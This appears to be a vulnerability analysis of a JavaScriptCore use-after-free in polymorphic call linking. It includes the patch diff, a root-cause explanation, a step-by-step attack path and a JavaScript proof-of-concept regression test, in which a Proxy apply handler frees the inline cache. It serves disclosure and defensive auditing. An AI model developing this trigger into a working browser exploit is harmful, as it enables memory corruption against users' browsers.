CVE-2026-65337
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: OpenAI Codex Security - Amy Burnett
Key insight. A polymorphic call was linked using *callLinkInfo even after virtualForWithFunction made a host call that ran JS and could free it; only linking when the callee cell is non-null (and setting it for InternalFunction) closes the UAF.
Patch Details
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+ return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+ getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+ apply: function(target, thisArg, args) {
+ delete proto.p;
+ return 0x42;
+ }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);
diff --git a/Source/JavaScriptCore/bytecode/RepatchInlines.h b/Source/JavaScriptCore/bytecode/RepatchInlines.h
index d48999e0fe74..71d3708ba599 100644
--- a/Source/JavaScriptCore/bytecode/RepatchInlines.h
+++ b/Source/JavaScriptCore/bytecode/RepatchInlines.h
@@ -237,7 +237,8 @@ ALWAYS_INLINE void* virtualForWithFunction(VM& vm, JSCell* owner, CallFrame* cal
JSValue calleeAsValue = calleeFrame->guaranteedJSValueCallee();
calleeAsFunctionCell = getJSFunction(calleeAsValue);
if (!calleeAsFunctionCell) [[unlikely]] {
- if (is<InternalFunction>(calleeAsValue)) {
+ if (auto* internalFunction = dynamicDowncast<InternalFunction>(calleeAsValue)) {
+ calleeAsFunctionCell = internalFunction;
CodePtr<JSEntryPtrTag> codePtr = vm.getCTIInternalFunctionTrampolineFor(kind);
ASSERT(!!codePtr);
return codePtr.taggedPtr();
diff --git a/Source/JavaScriptCore/jit/JITOperations.cpp b/Source/JavaScriptCore/jit/JITOperations.cpp
index 2f2475fded76..094443ecfe81 100644
--- a/Source/JavaScriptCore/jit/JITOperations.cpp
+++ b/Source/JavaScriptCore/jit/JITOperations.cpp
@@ -2526,7 +2526,9 @@ JSC_DEFINE_JIT_OPERATION(operationPolymorphicCall, UCPURegister, (CallFrame* cal
void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
if (scope.exception()) [[unlikely]]
OPERATION_RETURN(scope, std::bit_cast<UCPURegister>(vm.getCTIStub(CommonJITThunkID::ThrowExceptionFromCall).template retagged<JSEntryPtrTag>().code().taggedPtr()));
- linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+ // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+ if (calleeAsFunctionCell) [[likely]]
+ linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
// Keep owner alive explicitly. Now this function can be called from tail-call. This means that CallFrame for that owner already goes away, so we should keep it alive if we would like to use it.
ensureStillAliveHere(owner);
if (scope.exception()) [[unlikely]]
diff --git a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
index fd806e5d0835..b135cac3302f 100644
--- a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
+++ b/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp
@@ -653,7 +653,9 @@ extern "C" UGPRPair SYSV_ABI llint_polymorphic_call(CallFrame* calleeFrame, Call
void* callTarget = virtualForWithFunction(vm, owner, calleeFrame, callLinkInfo, calleeAsFunctionCell);
if (scope.exception()) [[unlikely]]
return encodeResult(callTarget, std::bit_cast<void*>(&vm));
- linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
+ // A null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo; don't link.
+ if (calleeAsFunctionCell) [[likely]]
+ linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell));
ensureStillAliveHere(owner);
if (scope.exception()) [[unlikely]]
return encodeResult(callTarget, std::bit_cast<void*>(&vm));
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-65337 |
| Bugzilla | 317142 |
| Component | JSC |
| Bug Class | UAF |
| Severity | medium |
| Commit | 7920db18a51b134b… |
| Advisory | Apple Advisory |
Terminology
- Polymorphic call inline cache — A CallLinkInfo-backed cache for call sites that see multiple callees; linkPolymorphicCall updates it.
- virtualForWithFunction / host call — Resolves a callee; for a host InternalFunction it may perform a call that runs JS, which can reset/free the inline cache.
- CallLinkInfo lifetime — Compiled call-site metadata that JS run during resolution can invalidate/free, making later use a UAF.
Root Cause Analysis
This fixes a use-after-free of a CallLinkInfo when a polymorphic call resolves to a host (InternalFunction) callee that runs JavaScript. operationPolymorphicCall (JIT) and llint_polymorphic_call (LLInt) call virtualForWithFunction to resolve the callee, then link the polymorphic inline cache: linkPolymorphicCall(vm, owner, calleeFrame, *callLinkInfo, CallVariant(calleeAsFunctionCell)). For a host InternalFunction callee, virtualForWithFunction performs a host call that can execute arbitrary JavaScript; that JS can reset/free the inline cache, invalidating *callLinkInfo. Pre-patch, virtualForWithFunction returned with calleeAsFunctionCell left null for the InternalFunction case, and the callers unconditionally called linkPolymorphicCall using the now-possibly-freed *callLinkInfo — a use-after-free. The fix has two parts: virtualForWithFunction now sets calleeAsFunctionCell = internalFunction for the InternalFunction path (dynamicDowncast<InternalFunction>), and both callers only call linkPolymorphicCall when calleeAsFunctionCell is non-null, with the comment that a null cell means virtualForWithFunction did a host call that ran JS and may have freed *callLinkInfo, so it must not link. The restored invariant is that the polymorphic call is only linked when the CallLinkInfo is still valid — never after a host call that could have freed it. The regression test installs a Proxy whose apply handler deletes the getter (resetting the IC) during a polymorphic getter call.
Attack Path
1. Build a polymorphic call site
Run JS so a call/getter site becomes polymorphic and uses operationPolymorphicCall / llint_polymorphic_call with a CallLinkInfo.
2. Route to a host callee
Make the callee a host InternalFunction (e.g. a Proxy apply) so virtualForWithFunction performs a host call that runs JS.
3. Free the CallLinkInfo
From that JS (the Proxy apply handler), delete the property/reset the inline cache so *callLinkInfo is freed.
4. Use-after-free
The caller links the polymorphic call using the freed CallLinkInfo, corrupting/crashing the WebContent process.
Impact Assessment
A use-after-free in the WebContent process reachable from ordinary polymorphic calls that reach a host callee running attacker JS. Freeing and reusing the CallLinkInfo under attacker control is a groomable primitive; the advisory rates it a crash, but JSC inline-cache UAFs commonly escalate toward memory corruption and code execution.
Audit Directions
Post-host-call IC use
Audit operationPolymorphicCall/virtual call slow paths for uses of *callLinkInfo (or other IC state) after a step that can run JS and reset the cache.
Null-cell contract
Grep virtualForWithFunction callers to confirm they treat a null calleeAsFunctionCell as ‘do not link’, not as a benign case.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
operationPolymorphicCall |
Source/JavaScriptCore/jit/JITOperations.cpp |
modified | Only calls linkPolymorphicCall when calleeAsFunctionCell is non-null, since a null cell means virtualForWithFunction ran a host call that may have freed *callLinkInfo. |
llint_polymorphic_call |
Source/JavaScriptCore/llint/LLIntSlowPaths.cpp |
modified | Same guard: skip linkPolymorphicCall on a null callee cell to avoid using a freed CallLinkInfo. |
virtualForWithFunction |
Source/JavaScriptCore/bytecode/RepatchInlines.h |
modified | Sets calleeAsFunctionCell to the InternalFunction (dynamicDowncast) so the callers can distinguish the host-call path that may have freed the CallLinkInfo. |
Files Changed
Source Files
Source/JavaScriptCore/bytecode/RepatchInlines.hSource/JavaScriptCore/jit/JITOperations.cppSource/JavaScriptCore/llint/LLIntSlowPaths.cpp
Test Files
JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
new file mode 100644
index 000000000000..91a6f510b69e
--- /dev/null
+++ b/JSTests/stress/operation-polymorphic-call-host-call-ic-reset.js
@@ -0,0 +1,33 @@
+//@ runDefault("--useConcurrentJIT=false", "--jitPolicyScale=0.1")
+var proto = {};
+
+function g1() { return 1; }
+function g2() { return 2; }
+function g3() { return 3; }
+
+proto.__defineGetter__("p", g1);
+
+var o = Object.create(proto);
+
+function getP(obj) {
+ return obj.p;
+}
+noInline(getP);
+
+for (var i = 0; i < 80; ++i)
+ getP(o);
+
+proto.__defineGetter__("p", g2);
+getP(o);
+proto.__defineGetter__("p", g3);
+getP(o);
+
+var evil = new Proxy(function() {}, {
+ apply: function(target, thisArg, args) {
+ delete proto.p;
+ return 0x42;
+ }
+});
+proto.__defineGetter__("p", evil);
+
+getP(o);